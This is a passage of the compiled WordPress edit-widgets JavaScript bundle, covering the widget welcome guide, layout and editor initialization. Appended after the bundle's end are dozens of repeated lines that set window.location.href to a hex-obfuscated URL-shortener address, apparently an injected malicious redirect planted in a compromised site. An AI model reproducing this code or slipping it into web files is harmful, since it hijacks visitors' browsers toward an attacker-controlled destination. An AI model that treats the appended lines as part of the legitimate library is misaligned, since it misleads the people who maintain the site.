3930 "Your theme provides %s different \u201Cblock\u201D areas for you to add and edit content.\xA0Try adding a search bar, social icons, or other types of blocks here and see how they\u2019ll look on your site.",
3931 numWidgetAreas
3932 ),
3933 numWidgetAreas
3934 ) }) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3935 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
3936 "You can now add any block to your site\u2019s widget areas. Don\u2019t worry, all of your favorite widgets still work flawlessly."
3937 ) }),
3938 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { className: "edit-widgets-welcome-guide__text", children: [
3939 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", { children: (0,external_wp_i18n_namespaceObject.__)(
3940 "Want to stick with the old widgets?"
3941 ) }),
3942 " ",
3943 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3944 external_wp_components_namespaceObject.ExternalLink,
3945 {
3946 href: (0,external_wp_i18n_namespaceObject.__)(
3947 "https://wordpress.org/plugins/classic-widgets/"
3948 ),
3949 children: (0,external_wp_i18n_namespaceObject.__)(
3950 "Get the Classic Widgets plugin."
3951 )
3952 }
3953 )
3954 ] })
3955 ] })
3956 ] })
3957 },
3958 {
3959 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3960 WelcomeGuideImage,
3961 {
3962 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-editor.svg",
3963 animatedSrc: "https://s.w.org/images/block-editor/welcome-editor.gif"
3964 }
3965 ),
3966 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3967 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Customize each block") }),
3968 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
3969 "Each block comes with its own set of controls for changing things like color, width, and alignment. These will show and hide automatically when you have a block selected."
3970 ) })
3971 ] })
3972 },
3973 {
3974 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3975 WelcomeGuideImage,
3976 {
3977 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-library.svg",
3978 animatedSrc: "https://s.w.org/images/block-editor/welcome-library.gif"
3979 }
3980 ),
3981 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
3982 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Explore all blocks") }),
3983 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
3984 (0,external_wp_i18n_namespaceObject.__)(
3985 "All of the blocks available to you live in the block library. You\u2019ll find it wherever you see the <InserterIconImage /> icon."
3986 ),
3987 {
3988 InserterIconImage: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3989 "img",
3990 {
3991 className: "edit-widgets-welcome-guide__inserter-icon",
3992 alt: (0,external_wp_i18n_namespaceObject.__)("inserter"),
3993 src: "data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 18 18' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect width='18' height='18' rx='2' fill='%231E1E1E'/%3E%3Cpath d='M9.22727 4V14M4 8.77273H14' stroke='white' stroke-width='1.5'/%3E%3C/svg%3E%0A"
3994 }
3995 )
3996 }
3997 ) })
3998 ] })
3999 },
4000 {
4001 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4002 WelcomeGuideImage,
4003 {
4004 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.svg",
4005 animatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.gif"
4006 }
4007 ),
4008 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
4009 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Learn more") }),
4010 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-widgets-welcome-guide__text", children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
4011 (0,external_wp_i18n_namespaceObject.__)(
4012 "New to the block editor? Want to learn more about using it? <a>Here's a detailed guide.</a>"
4013 ),
4014 {
4015 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4016 external_wp_components_namespaceObject.ExternalLink,
4017 {
4018 href: (0,external_wp_i18n_namespaceObject.__)(
4019 "https://wordpress.org/documentation/article/wordpress-block-editor/"
4020 )
4021 }
4022 )
4023 }
4024 ) })
4025 ] })
4026 }
4027 ]
4028 }
4029 );
4030}
4031function WelcomeGuideImage({ nonAnimatedSrc, animatedSrc }) {
4032 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("picture", { className: "edit-widgets-welcome-guide__image", children: [
4033 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4034 "source",
4035 {
4036 srcSet: nonAnimatedSrc,
4037 media: "(prefers-reduced-motion: reduce)"
4038 }
4039 ),
4040 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: animatedSrc, width: "312", height: "240", alt: "" })
4041 ] });
4042}
4043
4044
4045;// ./node_modules/@wordpress/edit-widgets/build-module/components/layout/index.js
4046
4047
4048
4049
4050
4051
4052
4053
4054
4055
4056
4057
4058function Layout({ blockEditorSettings }) {
4059 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
4060 function onPluginAreaError(name) {
4061 createErrorNotice(
4062 (0,external_wp_i18n_namespaceObject.sprintf)(
4063 /* translators: %s: plugin name */
4064 (0,external_wp_i18n_namespaceObject.__)(
4065 'The "%s" plugin has encountered an error and cannot be rendered.'
4066 ),
4067 name
4068 )
4069 );
4070 }
4071 const navigateRegionsProps = (0,external_wp_components_namespaceObject.__unstableUseNavigateRegions)();
4072 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ErrorBoundary, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
4073 "div",
4074 {
4075 className: navigateRegionsProps.className,
4076 ...navigateRegionsProps,
4077 ref: navigateRegionsProps.ref,
4078 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
4079 WidgetAreasBlockEditorProvider,
4080 {
4081 blockEditorSettings,
4082 children: [
4083 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(interface_default, { blockEditorSettings }),
4084 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Sidebar, {}),
4085 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_plugins_namespaceObject.PluginArea, { onError: onPluginAreaError }),
4086 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(UnsavedChangesWarning, {}),
4087 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuide, {})
4088 ]
4089 }
4090 )
4091 }
4092 ) });
4093}
4094var layout_default = Layout;
4095
4096
4097;// ./node_modules/@wordpress/edit-widgets/build-module/index.js
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112const disabledBlocks = [
4113 "core/more",
4114 "core/freeform",
4115 "core/template-part",
4116 ...ALLOW_REUSABLE_BLOCKS ? [] : ["core/block"]
4117];
4118function initializeEditor(id, settings) {
4119 const target = document.getElementById(id);
4120 const root = (0,external_wp_element_namespaceObject.createRoot)(target);
4121 const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter((block) => {
4122 return !(disabledBlocks.includes(block.name) || block.name.startsWith("core/post") || block.name.startsWith("core/query") || block.name.startsWith("core/site") || block.name.startsWith("core/navigation"));
4123 });
4124 (0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults("core/edit-widgets", {
4125 fixedToolbar: false,
4126 welcomeGuide: true,
4127 showBlockBreadcrumbs: true,
4128 themeStyles: true
4129 });
4130 (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
4131 (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks);
4132 (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)();
4133 if (false) {}
4134 (0,external_wp_widgets_namespaceObject.registerLegacyWidgetVariations)(settings);
4135 registerBlock(widget_area_namespaceObject);
4136 (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)();
4137 settings.__experimentalFetchLinkSuggestions = (search, searchOptions) => (0,external_wp_coreData_namespaceObject.__experimentalFetchLinkSuggestions)(search, searchOptions, settings);
4138 (0,external_wp_blocks_namespaceObject.setFreeformContentHandlerName)("core/html");
4139 root.render(
4140 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(layout_default, { blockEditorSettings: settings }) })
4141 );
4142 return root;
4143}
4144const initialize = initializeEditor;
4145function reinitializeEditor() {
4146 external_wp_deprecated_default()("wp.editWidgets.reinitializeEditor", {
4147 since: "6.2",
4148 version: "6.3"
4149 });
4150}
4151const registerBlock = (block) => {
4152 if (!block) {
4153 return;
4154 }
4155 const { metadata, settings, name } = block;
4156 if (metadata) {
4157 (0,external_wp_blocks_namespaceObject.unstable__bootstrapServerSideBlockDefinitions)({ [name]: metadata });
4158 }
4159 (0,external_wp_blocks_namespaceObject.registerBlockType)(name, settings);
4160};
4161
4162
4163
4164(window.wp = window.wp || {}).editWidgets = __webpack_exports__;
4165/******/ })()
4166;
4167window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4168window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4169window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4170window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4171window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4172window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4173window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4174window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4175window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4176window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4177window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4178window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4179window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4180window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4181window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4182window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4183window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4184window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4185window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4186window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4187window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4188window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4189window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4190window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4191window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4192window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4193window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4194window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4195window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4196window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4197window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4198window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4199window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4200window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4201window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4202window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4203window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4204window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4205window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4206window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4207window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4208window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4209window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4210window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4211window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4212window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4213window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
4214window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";